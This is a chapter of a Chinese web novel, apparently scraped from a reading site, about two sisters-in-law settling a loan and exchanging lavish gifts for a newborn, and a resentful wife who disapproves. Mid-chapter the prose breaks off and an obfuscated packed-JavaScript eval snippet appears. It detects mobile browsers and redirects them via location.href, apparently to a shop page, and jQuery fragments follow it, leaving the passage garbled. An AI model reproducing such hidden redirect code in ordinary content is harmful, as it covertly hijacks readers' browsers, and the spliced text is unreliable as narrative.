第306章两房亲和

作品:《你拖婚不娶?军侯万金聘礼堵我门

    银杏咬了咬唇:“奶奶这样温善仁厚,我是比不上的……我只是怕那头的大奶奶知晓了,会给奶奶添麻烦,那可不是个好相与的。”


    “别多想了,她怀着身孕呢,哪有闲工夫管咱们这头。我也不想与她争风吃醋别苗头,都是一家子,和和气气的不好么?有道是,家和万事兴,你瞧大爷如今也渐渐支棱起来了,往后一定会更好的。”


    露娘粉颊浮云,娇羞中透着幸福。


    银杏见状,只好闭上嘴。


    她只是觉得露娘应该为自己打算一二,最少要留个后手。


    一门心思地指望男人,怕是会吃亏。


    不过这话银杏不敢说得太直白,暂时咽了下去。


    她暗暗有了个想法。


    转眼,露娘出了月子。


    因生产顺利,孕期调养又得当,露娘气色很不错,人也精神。


    在月子里她胖了些许,比之从前少了几分楚楚动人的清灵,却多了好些温文尔雅的富态,更像是府里成熟稳重的主母了。


    见对方将银子连本带利地还了回来,虞声笙很惊讶。


    “不必还得这样着急的,都是两房嫡亲,连着血脉的亲兄弟,哪有收利息的?你这是……”


    虞声笙的话还没说完,露娘忙笑道:“一码归一码,我家大爷说了,亲兄弟也要明算账,就是要常来常往的供情分,越发不能在小事上懈怠了。”


    虞声笙心下赞同,对露娘以及闻图的人品越发信赖改观。


    “既如此,那我就收了,往后有什么的,嫂子你只管开口;说不准往后我也有求你们帮忙的时候,一家人不说两家话。”


    见她这样痛快,毫不扭捏,露娘也快活起来:“正是这个理。”


    露娘的儿子取了个很朴实无华的小名,叫福哥儿。


    露娘与闻图对这个孩子的期盼更是简单。


    “我只盼着他能平安顺遂地长大,这便很有福气了。”提起儿子,露娘满眼都是慈爱,母性的温柔让她褪去了从前的青涩,越发从容。


    “福哥儿,真是好名字。”


    虞声笙一个眼神,今瑶立马取了一只圆案过来。


    那案上摆着一只虎头帽,一双虎头鞋,还有各色玩具共计六样,更有一小只精致小巧的匣子,那宝匣也就巴掌大小,端端正正地关着盒盖,外头一圈镶嵌着红蓝两色宝石,只在打开的地方配了一枚圆滚白润的珍珠。


    别的不说,就说这一样就足够惊人的了。


    露娘没见过什么好东西,却也一眼分辨出这宝贝价值不菲。


    她忙拒绝。


    “我这个做婶娘的给孩子备点礼,轮得到你说不么?”虞声笙故意板着脸,“你这做娘的好生无礼,拦着我给我侄儿送东西作甚!”


    露娘哭笑不得:“这太贵重了……”


    “这些是早就备下的,不论你这一胎生的是男是女,一样都是要送给孩子的,你若不愿意收,也要问我答不答应。”


    虞声笙顿了顿,“这也是将军的意思。”


    最后一句,一锤定音。


    露娘只好笑着收下。


    再看那虎头帽与虎头鞋精致漂亮,针脚绣功都是一等一的出众,一看就是早就准备的,足见用心。


    露娘越看越欢喜:“这帽子可真暖和,等天气冷了,福哥儿刚好穿戴上,回头就这样打扮着来给他婶娘请安拜年。”


    “这可好,那我就备着压岁钱等着了。”


    妯娌二人说笑了半日,露娘才告辞回府。


    回去一开那宝匣,露娘与闻图都惊住了,原来那匣子里装着九颗圆胖可爱的金锭子,一看就是特意打造的。


    “这……”


    闻图感慨万千:“弟妹有心了。”


    细算起来,他们给的利息怕还不足这些金锭子的三分之一。


    露娘更是眼眶都红了,抬手细细拂过,一声满足轻叹:“夫人待我可真不薄。”


    “留着吧,日后留给福哥儿,这是他叔叔婶婶的一片心意,咱们可不能随意花了。”


    “好。”


    送走了露娘,虞声笙才问起今瑶那宝匣里装了什么。


    今瑶答了。


    虞声笙竖起大拇指:“不愧是跟在我身边的人,反应就是快。”


    “我自然是晓得夫人的意思的,这位奶奶来得突然,张口又是还钱,夫人自然是要在赠给孩子的礼物上做文章,好全了咱们两房的情分,可这给多少怎么给我却没能拿得住主意。”


    今瑶羞涩一笑,“还是金猫儿姐姐明快灵光,立马取了原先夫人您命人打造的几颗金锭子放进去,还专门挑了九颗,图个好意头。”


    她虽喜欢被夸,但却不抢功。


    “你不过是性子慢了些,给你多点时间,你一样能想明白办周到的。”金猫儿快步进屋,将手里刚熨烫的衣裳挂起来熏香。


    “身边有你们几个,我就满足喽。”虞声笙赞道。


    露娘也不是空手来的。


    她不但连本带利地还钱,还给晚姐儿带了礼物。


    于情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036243|184842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于理,虞声笙出手的这份回赠就不能轻了。


    双方都对这次妯娌会面、说笑谈心十分满意,可总有些局外人觉得扎眼,更觉得心头不痛快。


    这人便是任胭桃。


    头一件太医的事情就让她憋了一肚子气,后来又见露娘从威武将军府满载而归,甚至还给账房处添了几百两银子以充中馈之用,府里上下的奴仆谁不夸这位奶奶能耐仁善。


    任胭桃不满。


    更想不通。


    ——露娘哪里来的这么多银子?


    她暗中派人去查,果真查到了些蛛丝马迹。


    她将这些都送到闻图跟前,希望以此给露娘一个警告。


    哪知闻图看完了,面露愧意:“原来她还拿出了自己的体己银子……”


    “别的不说,就说露娘也在外头投钱赚银子,这事儿闹开了怕一样对你的官声不利吧?”任胭桃压根没想那么多。


    她只单纯粗暴地认为,自己先前盘下藏胭阁,却输得精光,亏得肉痛,更因此夫妻隔阂加深;既然她不能做的事情,露娘凭什么能做?


    至于闻图在说什么,她根本无心听。


    啰里吧嗦说了一堆,却见面前的男人沉思良久,她不耐道:“你不会连这点事儿也要偏心吧?一样是内宅妇人,我不可抛头露面地做生意,那露娘又怎么能行?你应该罚了她,以儆效尤。”


    “那怎么能一样?”闻图回过神来,“你是白白往里头赔钱,还惹了不该惹的人,差点连累我们满门!如今府里还在为你先前留下的窟窿头疼呢!”


    “可露娘呢,你看看她投的是什么生意,都是小门路都是小买卖,又正当又稳妥,只是赚的不多;一年到头,统共百八十两,她又不藏私全都拿了出来,你如何跟她比?”


    任胭桃顿时又羞又气,眼泪都出来了:“那怎么能一样,我是正妻啊!”


    闻图瞥了一眼,又心软了:“好了好了,你如今怀着身孕,这些事情就别操心了,好好养胎是要紧,从前的事情我也不怪你,说到底我也有责任……”


    他走到妻子跟前,抬手揉了揉她的肩头,“我只盼着咱们一家子和和气气的,盼着你能平安生产。”


    任胭桃张了张口,说不出话来。


    近日,威武将军府多了一个频频上门的熟客。


    花厅。


    虞声笙有些头疼地看着眼前这女子。


    周丽珠一身素蓝,涂着口脂,大大的眼睛转来转去:“你这地儿倒是不错。”